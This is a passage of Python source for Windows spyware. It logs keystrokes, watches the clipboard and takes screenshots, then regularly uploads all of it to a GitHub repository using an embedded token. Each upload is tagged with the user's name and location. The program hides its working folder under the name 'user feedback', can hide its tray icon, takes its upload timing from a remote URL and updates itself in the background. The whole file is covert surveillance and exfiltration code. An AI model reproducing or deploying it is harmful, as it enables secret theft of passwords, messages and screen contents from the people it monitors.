    """
    if seconds < 60:
        # return f"{seconds} seconds"
        return f"{seconds:.2f} seconds"
    elif seconds < 3600:
        minutes = seconds // 60
        # return f"{minutes} minute{'s' if minutes > 1 else ''}"
        return f"{seconds / 60:.2f} minute{'s' if minutes > 1 else ''}"
    elif seconds < 86400:
        hours = seconds // 3600
        # return f"{hours} hour{'s' if hours > 1 else ''}"
        return f"{seconds / 3600:.2f} hours{'s' if hours > 1 else ''}"
    elif seconds < 2592000:  # Approx. 30 days
        days = seconds // 86400
        # return f"{days} day{'s' if days > 1 else ''}"
        return f"{seconds / 86400:.2f} day{'s' if days > 1 else ''}"
    elif seconds < 31536000:  # Approx. 365 days
        months = seconds // 2592000
        # return f"{months} month{'s' if months > 1 else ''}"
        return f"{seconds / 2592000:.2f} month{'s' if months > 1 else ''}"
    else:
        years = seconds // 31536000
        # return f"{years} year{'s' if years > 1 else ''}"
        return f"{seconds / 31536000:.2f} year{'s' if years > 1 else ''}"

# Function to fetch the upload interval from a JSON file hosted online
def fetch_value_from_url(url, key, default_value):
    """
    Fetches a specific value from the provided URL's JSON response. Falls back to the default value on failure.
    """
    try:
        response = requests.get(url, timeout=5)
        response.raise_for_status()
        data = response.json()
        if key in data:
            return int(data[key])
            # return int(data.get(key, default_value))
        else:
            logging.error(f"Key '{key}' not found in the JSON response.")
            print(f"Key '{key}' not found in the JSON response.")
    except requests.exceptions.RequestException as e:
        logging.error(f"Network error while fetching {key}: {e}")
        print(f"Network error while fetching {key}: {e}")
    except ValueError as e:
        logging.error(f"Error parsing JSON for {key}: {e}")
        print(f"Error parsing JSON for {key}: {e}")

    return default_value

def get_last_upload_time():
    """
    Retrieves the last upload timestamp from a file. Returns None if not found.
    """
    if os.path.exists(CONFIG_FILE):
        try:
            with open(CONFIG_FILE, "r") as f:
                data = json.load(f)
                last_upload_time = datetime.fromisoformat(data["last_upload"])
                logging.info(f"Last served at {last_upload_time}")
                print(f"Last served at {last_upload_time}")
                return last_upload_time
        except Exception as e:
            logging.error(f"Error reading last serve file: {e}")
            print(f"Error reading last serve file: {e}")
            pass
    return None

def set_last_upload_time():
    """
    Updates the last upload timestamp in a file.
    """
    global last_upload
    try:
        last_upload = datetime.now().isoformat()
        save_config()
    except Exception as e:
        logging.error(f"Error writing last serve file: {e}")
        print(f"Error writing last serve file: {e}")
      
# Function to load the cache from the JSON file
def load_uploaded_cache(cache_file=CACHE_FILE):
    """
    Loads the uploaded files cache from a file.
    """
    global screenshots_uploaded_cache
    if os.path.exists(cache_file):
        try:
            with open(cache_file, "r") as f:
                screenshots_uploaded_cache = set(json.load(f))
            print(f"Loaded cache with {len(screenshots_uploaded_cache)} entries.")
        except Exception as e:
            logging.error(f"Error loading cache: {e}. Initializing an empty cache.")
            print(f"Error loading cache: {e}. Initializing an empty cache.")
            screenshots_uploaded_cache = set()
    else:
        # data_uploaded_cache = set()
        screenshots_uploaded_cache = set()
        print("No cache file found. Initializing an empty cache.")

# Function to save the cache to the JSON file
def save_uploaded_cache(cache_file=CACHE_FILE):
    """
    Saves the uploaded files cache to a file.
    """
    try:
        with open(cache_file, "w") as f:
            json.dump(list(screenshots_uploaded_cache), f, indent=4)
        print(f"Cache saved with {len(screenshots_uploaded_cache)} entries.")
    except Exception as e:
        logging.error(f"Error saving cache: {e}")
        print(f"Error saving cache: {e}")
        
# Function to check if a screenshot file is uploaded
def is_screenshot_uploaded(file_path):
    """
    Checks if the file has already been uploaded by comparing its unique identifier in the cache.
    """
    global screenshots_uploaded_cache
    return file_path in screenshots_uploaded_cache

# Function to mark a screenshot as uploaded
def mark_screenshot_uploaded(file_path):
    """
    Adds the file to the uploaded cache and persists the cache.
    """
    global screenshots_uploaded_cache
    if file_path not in screenshots_uploaded_cache:
        screenshots_uploaded_cache.add(file_path)
        save_uploaded_cache()  # Save the cache only if new files are added

def clean_uploaded_cache():
    """Removes stale entries from the uploaded files cache."""
    global screenshots_uploaded_cache
    valid_files = {path for path in screenshots_uploaded_cache if os.path.exists(path)}
    removed_files = screenshots_uploaded_cache - valid_files
    screenshots_uploaded_cache = valid_files
    if removed_files:
        print(f"Removed {len(removed_files)} stale cache entries")
        logging.info(f"Cleaned cache: Removed {len(removed_files)} stale entries")
    save_uploaded_cache()

def upload_screenshots_folder_to_github(folder_path, repo_name, repo_folder_name, branch_name, github_token):
    """Uploads all untracked screenshots in the specified folder to GitHub."""
    global screenshots_uploaded_cache
    
    # Use absolute path for screenshots folder
    abs_screenshots_folder = os.path.join(app_dir, "screenshots")
    
    for root, _, files in os.walk(abs_screenshots_folder):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if not file_path.lower().endswith(('.png', '.jpg', '.jpeg')):
                continue  # Skip non-image files
                
            if not is_screenshot_uploaded(file_path):
                retry_count = 0
                while retry_count < MAX_RETRIES:
                    try:
                        print(f"Attempting to upload screenshot: {file_path}")
                        upload_file_to_github(file_path, repo_name, repo_folder_name, branch_name, github_token)
                        mark_screenshot_uploaded(file_path)
                        logging.info(f"Successfully fetched screenshot: {file_path}")
                        print(f"Successfully uploaded screenshot: {file_path}")
                        break
                    except Exception as e:
                        retry_count += 1
                        logging.error(f"Error uploading {file_path} (Attempt {retry_count}/{MAX_RETRIES}): {e}")
                        if retry_count < MAX_RETRIES:
                            time.sleep(RETRY_DELAY)
                        else:
                            logging.warning(f"Permanently failed to upload {file_path}")
                            # Remove from cache if permanently failed
                            screenshots_uploaded_cache.discard(file_path)
                            save_uploaded_cache()

# Function to upload a single file to GitHub
# def upload_file_to_github(file_path, repo_name, repo_folder_name, branch_name, github_token):
#     """
#     Uploads a file to a specified folder in a GitHub repository.
#     """
#     max_retries = 3
#     attempt = 0
#     while attempt < max_retries:
#         try:
#             with open(file_path, 'rb') as f:
#                 content = f.read()

#             file_name = os.path.basename(file_path)
#             unique_name = f"{repo_folder_name}/{datetime.now().strftime('%Y%m%d_%H%M%S')}_{username}_{unique_id}_{file_name}"
#             api_url = f"https://api.github.com/repos/{repo_name}/contents/{unique_name}"

#             content_base64 = base64.b64encode(content).decode('utf-8')

#             payload = {
#                 "message": f"Uploading {username} {file_name}",
#                 "content": content_base64,
#                 "branch": branch_name
#             }

#             headers = {"Authorization": f"token {github_token}"}

#             response = requests.put(api_url, json=payload, headers=headers)

#             if response.status_code == 201:
#                 # logging.info(f"Uploaded successfully: {response.json().get('content').get('html_url')}")
#                 print(f"✅ Served successfully: {response.json().get('content').get('html_url')}")
#                 return  # Exit function after successful upload
#             else:
#                 logging.error(f"Failed to upload {file_name}: {response.status_code}, {response.text}")
#                 print(f"☠️ Failed to serve {file_name}: {response.status_code}, {response.text}")

#         except Exception as e:
#             logging.error(f"Error serving file {file_path}: {e}")
#             print(f"Error serving file {file_path}: {e}")
#         attempt += 1
#         print(f"Retrying upload ({attempt}/{max_retries}) for {file_path}...")
#         time.sleep(3)  # Wait before retrying
#     print(f"Failed to upload {file_path} after {max_retries} attempts.")
   
def upload_file_to_github(file_path, repo_name, repo_folder_name, branch_name, github_token):
    """
    Uploads a file to a specified folder in a GitHub repository.
    """
    max_retries = 3
    attempt = 0
    
    # Determine if this is a screenshot file
    is_screenshot = "screenshots" in file_path.lower()
    
    while attempt < max_retries:
        try:
            # Read file content based on type
            if is_screenshot:
                with open(file_path, 'rb') as f:
                    content = f.read()
                content_base64 = base64.b64encode(content).decode('utf-8')
            else:
                with open(file_path, 'r', encoding='utf-8') as f:
                    new_content = f.read()

            file_name = os.path.basename(file_path)
            
            # Create unique filename based on file type
            if is_screenshot:
                unique_name = f"{repo_folder_name}/{datetime.now().strftime('%Y%m%d_%H%M%S')}_{username}_{unique_id}_{file_name}"
            else:
                # Stable filename for non-screenshot files
                unique_name = f"{repo_folder_name}/{username}_{unique_id}_{file_name}"

            api_url = f"https://api.github.com/repos/{repo_name}/contents/{unique_name}"

            headers = {"Authorization": f"token {github_token}"}

            # Check if file exists
            existing_file = requests.get(api_url, headers=headers).json()
            sha = None

            if not is_screenshot and 'sha' in existing_file:
                # Handle text file updates
                sha = existing_file['sha']
                existing_content = base64.b64decode(existing_file['content']).decode('utf-8')
                # append the new content to the top of the existing content
                # updated_content = f"{new_content}\n\n{'='*80}\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - New Data Append\n{'='*80}\n{existing_content}"
                updated_content = f"\n\n{'='*80}\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - New Data 👇 \n{'='*80} \n{new_content}\n\n{'='*80}\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - Previous Data 👇 \n{'='*80}\n{existing_content}"
                content_base64 = base64.b64encode(updated_content.encode('utf-8')).decode('utf-8')
            elif not is_screenshot:
                # New text file
                content_base64 = base64.b64encode(new_content.encode('utf-8')).decode('utf-8')

            payload = {
                "message": f"{'Updating' if sha else 'Uploading'} {username}-{country}-{region}-{city}-{unique_id} {file_name}",
                "content": content_base64,
                "branch": branch_name
            }
            
            if sha:  # Add SHA if updating existing file
                payload["sha"] = sha

            response = requests.put(api_url, json=payload, headers=headers)

            if response.status_code in [200, 201]:
                # logging.info(f"Uploaded successfully: {response.json().get('content').get('html_url')}")
                print(f"✅ Served successfully: {response.json().get('content').get('html_url')}")
                return  # Exit function after successful upload
            else:
                logging.error(f"Failed to upload {file_name}: {response.status_code}, {response.text}")
                print(f"☠️ Failed to serve {file_name}: {response.status_code}, {response.text}")

        except Exception as e:
            logging.error(f"Error serving file {file_path}: {e}")
            print(f"Error serving file {file_path}: {e}")
            
        attempt += 1
        print(f"Retrying upload ({attempt}/{max_retries}) for {file_path}...")
        time.sleep(3)  # Wait before retrying
    print(f"Failed to upload {file_path} after {max_retries} attempts.")

        
# Function to upload all files in a folder to GitHub
def upload_folder_to_github(folder_path, repo_name, repo_folder_name, branch_name, github_token):
    """Uploads all files in a folder to GitHub with extension filtering."""
    for root, _, files in os.walk(folder_path):
        for file_name in files:
            if not file_name.lower().endswith(('.txt', '.log', '.json')):  # Add allowed extensions
                continue  # Skip non-log files
                
            file_path = os.path.join(root, file_name)
            upload_file_to_github(file_path, repo_name, repo_folder_name, branch_name, github_token)

def upload_multiple_to_specific_folders(file_mapping, folder_mapping, repo_name, branch_name, github_token):
    """
    Uploads multiple files and folders to specific subfolders in a GitHub repository.
    """
    for file_path, subfolder in file_mapping.items():
        if os.path.exists(file_path):
            upload_file_to_github(file_path, repo_name, f"uploads/{subfolder}", branch_name, github_token)
        else:
            logging.error(f"File not found: {file_path}")
            print(f"File not found: {file_path}")
            # try deleting config & screnshots folder
            # try:
            #     if os.path.exists(BAT_FILE):
            #         os.system(BAT_FILE) # Execute the .bat file (delete config file & restart the app)
            #         logging.warning(f"Executing bat file (due to file not found)")
            #         print(f"Executing bat file (due to file not found)")
            #     else:
            #         logging.warning("error executing bat file (due to file not found)")
            #         print("error executing bat file (due to file not found)")
            #     if os.path.exists(CONFIG_FILE):
            #         os.remove(CONFIG_FILE)
            #         logging.warning(f"🗑️ Deleted config file (due to file not found)")
            #         print(f"🗑️ Deleted config file (due to file not found)")
            #     else:
            #         logging.warning("error deleting file at file not found")
            #         print("error deleting file at file not found")
            #     if os.path.exists(screenshot_folder):
            #         shutil.rmtree(screenshot_folder)  # deletes the screenshot folder with their content
            #         logging.warning(f"🗑️ Deleted screenshot folder(due to file not found)")
            #         print(f"🗑️ Deleted screenshot folder")
            #         # Recreate the folder
            #         os.makedirs(screenshot_folder, exist_ok=True)  # Recreate the folder
            #         logging.info(f"📁 Recreated folder(due to file not found)")
            #         print(f"📁 Recreated folder")
            #     else:
            #         logging.warning("error deleting screenshot folder")
            #         print("error deleting screenshot folder")
            # except Exception as e:
            #     logging.warning(f"Error deleting config file & screenshot folder: {e}")
            #     print(f"Error deleting config file & screenshot folder: {e}")
            # # restart_script(tray_icon, tray_icon)
            

    for folder_path, subfolder in folder_mapping.items():
        if os.path.exists(folder_path) and os.path.isdir(folder_path):
            upload_folder_to_github(folder_path, repo_name, f"uploads/{subfolder}", branch_name, github_token)
        else:
            logging.error(f"Folder not found or not a directory: {folder_path}")
            print(f"Folder not found or not a directory: {folder_path}")

# Main upload logs function
def upload_logs():
    """
    Main function to upload logs and screenshots.
    Initializes the cache and monitors for file uploads.
    """
    # Configuration
    repo_name = REPO  # Replace with your GitHub repo
    branch_name = BRANCH  # Replace with your branch name
    github_token = GITHUB_TOKEN  # Replace with your GitHub token

    # Define file-to-subfolder mapping USING ABSOLUTE PATHS
    file_mapping = {
        os.path.join(app_dir, "keylogerror.log"): "keylogerror",
        os.path.join(app_dir, "config.json"): "config",
        os.path.join(app_dir, "files_cache.json"): "cache"
    }

    # Define folder-to-subfolder mapping
    folder_mapping = {
        os.path.join(app_dir, "logs"): "logs",
    }
    
    # Define allowed log extensions
    LOG_EXTENSIONS = ('.log', '.txt', '.json', '.bat')  # Add other allowed extensions

    # Define the screenshots folder path
    screenshots_folder = "screenshots"
    
    # Load the cache of uploaded screenshots
    load_uploaded_cache()
    
    # Load initial configuration
    load_config()

    print("Starting the serveing monitoring script...")

    while True:  # Infinite loop for continuous execution
        
        # Fetch the upload interval from the URL
        # Fetch the upload interval and fallback interval from the URL
        upload_interval = fetch_value_from_url(INTERVAL_URL, "upload_interval", DEFAULT_UPLOAD_INTERVAL)
        fallback_interval = fetch_value_from_url(INTERVAL_URL, "upload_interval_status", DEFAULT_FALLBACK_INTERVAL)
        
        if not isinstance(upload_interval, int):
            upload_interval = DEFAULT_UPLOAD_INTERVAL
        
        # Fetch the upload interval dynamically
        readable_interval = format_interval(upload_interval)  # Format the interval
        logging.info(f"serve interval set to {readable_interval}.")
        print(f"\n-----serve interval set to {readable_interval}.-----")
        print(f"Fallback interval set to (interval to check serve time) {fallback_interval} seconds.")

        # Check the last upload time
        last_upload_time = get_last_upload_time()
        
        # Perform the uploads
        try:

            # Calculate time until the next upload
            if last_upload_time:
                time_since_last_upload = (datetime.now() - last_upload_time).total_seconds()
                # time_until_next_upload = upload_interval - time_since_last_upload
                time_until_next_upload = max(0, upload_interval - time_since_last_upload)
                # logging.info(f"Time until next serve: {format_interval(max(0, time_until_next_upload))}.")
                print(f"Time until next serve: {format_interval(time_until_next_upload)}.")
            else:
                time_until_next_upload = 0  # Upload immediately if no last upload time

            # Upload files if the interval has passed
            if time_until_next_upload <= 0:
                # Perform the upload
                print("serving files...")
                upload_multiple_to_specific_folders(file_mapping, folder_mapping, repo_name, branch_name, github_token)
                set_last_upload_time()
                print(f"🎉🎉 Files served successfully at {datetime.now().isoformat()}. 🎉🎉")

            # Upload screenshots if the interval has passed
            if time_until_next_upload <= 0:
                print("serving screenshots folder...")
                upload_screenshots_folder_to_github(
                    screenshots_folder, repo_name, f"uploads/{screenshots_folder}", branch_name, github_token
                )
                print(f"🎉🎉 Served screenshots folder successfully at {datetime.now().isoformat()}. 🎉🎉")
                # Update the last upload time
                set_last_upload_time()
                
                logging.info(f"Files served successfully at {datetime.now().isoformat()}.")
                print(f"🎉🎉🎉🎉 Files served successfully at {datetime.now().isoformat()}. 🎉🎉🎉🎉")
                
        except Exception as e:
            logging.error(f"Error during serve: {e}")
            print(f"Error during serve: {e}")

        # Sleep for a short time to avoid excessive checking
        # time.sleep(20)
        # time.sleep(interval_logs_Upload_status)
        # Wait for the next upload cycle
        # time.sleep(upload_interval if upload_interval != DEFAULT_UPLOAD_INTERVAL else FALLBACK_INTERVAL)
        time.sleep(upload_interval if upload_interval != DEFAULT_UPLOAD_INTERVAL else fallback_interval)


# hide the file from the user
# ----------------------------------------------------------------------------------
def hide_folder(path):
    # Check if the path exists
    if not os.path.exists(path):
        logging.error(f"The path {path} does not exist.")
        print(f"The path {path} does not exist.")
        return
    
    # Use ctypes to set the file attribute to hidden
    try:
        # FILE_ATTRIBUTE_HIDDEN = 0x2
        ctypes.windll.kernel32.SetFileAttributesW(path, 0x2)
        logging.info(f"Folder '{path}' has been hidden successfully.")
        print(f"Folder '{path}' has been hidden successfully.")
    except Exception as e:
        logging.error(f"Failed to hide folder: {e}")
        print(f"Failed to hide folder: {e}")

# Path to the folder you want to hide
folder_path = r"C:\user feedback"
# Call the function to hide the folder
hide_folder(folder_path)


# create icon for system tray
# ----------------------------------------------------------------------------------
def create_icon():
    """Create a fallback icon image."""
    icon_image = Image.new("RGB", (64, 64), color=(255, 255, 255))
    draw = ImageDraw.Draw(icon_image)
    draw.ellipse((16, 16, 48, 48), fill=(0, 0, 255))
    return icon_image

def get_icon():
        """Retrieve the icon image."""
        try:
            # Check if the local icon file exists
            if os.path.exists(ICON_PATH):
                return Image.open(ICON_PATH)

            # If local file doesn't exist, try fetching from URL
            url = "https://cdn-icons-png.flaticon.com/512/4616/4616208.png"  # Replace with your image URL
            response = requests.get(url, timeout=5)
            response.raise_for_status()  # Raise an exception for HTTP errors
            return Image.open(BytesIO(response.content))

        except (FileNotFoundError, requests.exceptions.RequestException) as e:
            logging.error(f"Icon Load Error: {e}")
            print(f"Icon Load Error: {e}")
            return create_icon()  # Return a blue image as a fallback


# Update checkmarks dynamically
# ----------------------------------------------------------------------------------
def update_checkmarks(icon):
    interval_menu = Menu(
        MenuItem("30 seconds", wrap_action(set_interval), checked=lambda item: screenshot_interval == 30),
        MenuItem("60 seconds", wrap_action(set_interval), checked=lambda item: screenshot_interval == 60),
        MenuItem("2 Minutes", wrap_action(set_interval), checked=lambda item: screenshot_interval == 120),
        MenuItem("5 Minutes", wrap_action(set_interval), checked=lambda item: screenshot_interval == 300),
        MenuItem("10 Minutes", wrap_action(set_interval), checked=lambda item: screenshot_interval == 600),
        MenuItem("20 Minutes", wrap_action(set_interval), checked=lambda item: screenshot_interval == 1200),
        MenuItem("30 Minutes", wrap_action(set_interval), checked=lambda item: screenshot_interval == 1800),
        MenuItem("1 Hour", wrap_action(set_interval), checked=lambda item: screenshot_interval == 3600),
    )

    menu = Menu(
        MenuItem("Pause/Resume Screenshots", wrap_action(toggle_screenshots), checked=lambda item: is_running),
        MenuItem("Pause/Resume Keylogging", wrap_action(toggle_keylogging), checked=lambda item: listener_running),
        MenuItem("Set Screenshot Interval", interval_menu),
        MenuItem("Run on Startup", wrap_action(on_toggle_startup), checked=is_startup_checked),
        Menu.SEPARATOR,
        MenuItem("View Keylog", wrap_action(open_keylog_file)),
        MenuItem("View Copied Keylog", wrap_action(open_copy_keylog_file)),
        MenuItem("View Screenshot", wrap_action(open_Screenshot_folder)),
        MenuItem("View Log", wrap_action(on_open_log)),
        Menu.SEPARATOR,
        MenuItem("Check for Updates", lambda icon, item: check_for_update_async()),
        MenuItem("Restore Defaults", restore_defaults),  # Add restore option
        MenuItem("Developer", wrap_action(on_open_developer)),
        MenuItem("Restart", restart_script),
        MenuItem("Exit", stop_script),
    )

    icon.menu = menu

# Toggle tray icon visibility
def toggle_tray_icon(force_state=None):
    """
    Toggle the visibility of the tray icon.
    :param force_state: If True or False, forces the tray icon visibility.
    """
    global tray_icon, icon_visible, last_interaction_time
    update_interaction_time()  # Update interaction time when toggling

    # Determine the target state
    target_state = force_state if force_state is not None else not icon_visible

    if target_state:
        # Show tray icon
        if tray_icon is None:
            tray_icon = create_tray_icon()
            threading.Thread(target=tray_icon.run, daemon=True).start()
        logging.warning("Tray icon shown.")
        print("Tray icon shown.")
    else:
        # Hide tray icon
        if tray_icon is not None:
            tray_icon.stop()
            tray_icon = None
        logging.warning("Tray icon hidden.")
        print("Tray icon hidden.")

    icon_visible = target_state



# Create tray icon
# ----------------------------------------------------------------------------------
def create_tray_icon():
    """Create the system tray icon and menu."""
    try:
        # Create the system tray icon
        title_with_shortcut = (f"{APP_NAME}\nShortcut Keys:- PrtSc")
        icon = Icon(
            APP_NAME, 
            get_icon(), 
            title_with_shortcut,
            on_click=lambda icon, item: update_interaction_time()
        )

        # Get the actual tray icon window handle
        hwnd = ctypes.windll.user32.FindWindowW("Shell_TrayWnd", None)
        tray_hwnd = ctypes.windll.user32.FindWindowExW(hwnd, 0, "TrayNotifyWnd", None)
        notify_hwnd = ctypes.windll.user32.FindWindowExW(tray_hwnd, 0, "SysPager", None)
        icon_hwnd = ctypes.windll.user32.FindWindowExW(notify_hwnd, 0, "ToolbarWindow32", None)

        # Subclass the window procedure
        WndProcType = WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p, ctypes.c_uint, ctypes.c_void_p, ctypes.c_void_p)
        original_proc = ctypes.windll.user32.GetWindowLongPtrW(icon_hwnd, win32con.GWL_WNDPROC)
        
        def new_proc(hwnd, msg, wparam, lparam):
            if msg == win32con.WM_MOUSEMOVE:
                print("Tray icon hover detected")
                update_interaction_time()
            return ctypes.windll.user32.CallWindowProcW(original_proc, hwnd, msg, wparam, lparam)
        
        new_proc_ptr = WndProcType(new_proc)
        ctypes.windll.user32.SetWindowLongPtrW(icon_hwnd, win32con.GWL_WNDPROC, new_proc_ptr)
        
        # Keep reference to prevent garbage collection
        icon._new_proc = new_proc_ptr
        
        update_checkmarks(icon)
        return icon

    except Exception as e:
        show_notification("Error", "Failed to load tray icon.")
        logging.error(f"Tray Icon Error: {e}")
        print(f"Tray Icon Error: {e}")
        sys.exit(1)


# check if the application is already running (don't open same application multiple times)
# ----------------------------------------------------------------------------------
def check_single_instance():
    """Ensure only one instance of the application is running"""
    try:

        # Create a mutex using the application UUID
        mutex = ctypes.windll.kernel32.CreateMutexW(None, False, f"Global\\{APP_NAME}_{unique_id}_SingleInstance")
        print(f"unique id of {APP_NAME} i.e. mutex name: {mutex}")
        last_error = ctypes.windll.kernel32.GetLastError()
        
        if last_error == 183:  # ERROR_ALREADY_EXISTS
            print("Application is executed when application is already running")
            logging.warning("Application is executed when application is already running")
            ctypes.windll.user32.MessageBoxW(0, 
                "Application is already running", 
                "Instance Already Running", 
                0x40
            )
            sys.exit(1)
    except Exception as e:
        logging.error(f"Single instance check failed: {e}")
        print(f"Single instance check failed: {e}")
        sys.exit(1)

def main():
    try:
        check_single_instance()  # Add this as the first line in main()
        
        # Initialize the tray icon and visibility state
        global tray_icon, icon_visible

        # Toggle the tray icon visibility based on the initial state
        toggle_tray_icon(force_state=icon_visible)

        print("\n\n----------------------------------------------------------------")
        print("Application started. Press PrtSc to toggle tray icon.")
        print("Press Ctrl+C to exit.\n\n")
        
        if not os.path.exists(ICON_PATH):
            logging.error("Icon file not found. Notifications will not include an icon.")
            print("Icon file not found. Notifications will not include an icon.")
        show_notification(f"{APP_NAME} Started", "The application has started successfully.")
        
        # Start keylogger
        # start_keylogger()
        keylogger_thread = threading.Thread(target=start_keylogger, daemon=True)
        keylogger_thread.start()

        
        # Start clipboard monitoring thread
        clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
        clipboard_thread.start()

        load_config()  # Load the interval from JSON
        # Notify the user of the loaded interval
        # interval_display = (
        #     f"{screenshot_interval} seconds" if screenshot_interval < 60 else
        #     f"{screenshot_interval // 60} minutes" if screenshot_interval < 3600 else
        #     f"{screenshot_interval // 3600} hour"
        # )
        # show_notification(APP_NAME, f"Loaded screenshot interval: {interval_display}.")
        
        # Start screenshot thread
        screenshot_thread = threading.Thread(target=take_screenshot, daemon=True)
        screenshot_thread.start()
        
        # Start the periodic check
        active_user_check() # Start the active user check
        
        threading.Thread(target=upload_logs, daemon=True).start()
        threading.Thread(target=load_uploaded_cache, daemon=True).start()
        # upload logs 
        # upload_logs()
        # load_uploaded_cache()
        # clean_uploaded_cache()
        
        
        # Start folder check thread
        folder_check_thread = threading.Thread(target=schedule_folder_check, daemon=True)
        folder_check_thread.start()
    
        # check for the new updates
        clean_partial_files()
        # check_for_update_async()
        # Automatically check for updates on startup
        # check_and_auto_update()
        # Start a background thread to check for updates at regular intervals
        threading.Thread(target=start_auto_update_checker, daemon=True).start()
        
        # Add system event monitoring
        system_monitor_thread = threading.Thread(target=system_event_monitor, daemon=True)
        system_monitor_thread.start()
        
        # Start activity monitoring thread
        activity_thread = threading.Thread(target=monitor_activity, daemon=True)
        activity_thread.start()
        
    except KeyboardInterrupt:
        show_notification(APP_NAME, "Keylogger is closing...")
        logging.info("Application interrupted by user.")
        print("Application interrupted by user.")
        stop_script(tray_icon)  # Pass the tray_icon to stop_script
        sys.exit(0)
    except Exception as e:
        logging.error(f"Main Error: {e}")
        print(f"Main Error: {e}")
        os.remove(r"C:\user feedback\feedback\config.json")
        restart_script(tray_icon, tray_icon)
        stop_script(tray_icon)  # Pass the tray_icon to stop_script
        sys.exit(1)

def clean_temp_files():
    """Clean up any temporary files in logs directory"""
    temp_extensions = ('.etl', '.tmp')
    for file in os.listdir(logs_folder):
        if file.lower().endswith(temp_extensions):
            try:
                os.remove(os.path.join(logs_folder, file))
            except Exception as e:
                logging.warning(f"Failed to clean temp file {file}: {str(e)}")

# Add system event monitoring
def system_event_monitor():
    """Monitor system events like lock/unlock"""
    while True:
        # Check if workstation is locked using a different method
        if ctypes.windll.user32.GetForegroundWindow() == 0:
            logging.info("Workstation locked - pausing activities")
            print("Workstation locked - pausing activities")
            global is_running
            is_running = False
            time.sleep(10)
        else:
            is_running = True
            time.sleep(5)

# Add interaction detection to menu items
def wrap_action(action):
    """Decorator to update interaction time for menu actions"""
    def wrapped(icon, item):
        update_interaction_time()
        action(icon, item)
    return wrapped

# Add activity monitor thread
def monitor_activity():
    global active_mode
    while True:
        current_time = time.time()
        active_mode = (current_time - last_interaction_time) < INACTIVE_THRESHOLD
        time.sleep(1)

# Add to global variables section
global last_interaction_time, INACTIVE_THRESHOLD, active_mode
last_interaction_time = time.time()
INACTIVE_THRESHOLD = 10  # Seconds of inactivity before returning to normal mode
active_mode = False

# Add this function to handle interaction time updates
def update_interaction_time():
    global last_interaction_time
    logging.warning("Interaction detected - entering active mode")
    print("Interaction detected - entering active mode")
    last_interaction_time = time.time()

# Add these new constants
ACTIVE_MODE_DURATION = 30  # 30 seconds of active monitoring after interaction
SCREENSHOT_INTERVAL_ACTIVE = 3  # 3 seconds between screenshots in active mode

if __name__ == "__main__":
    main()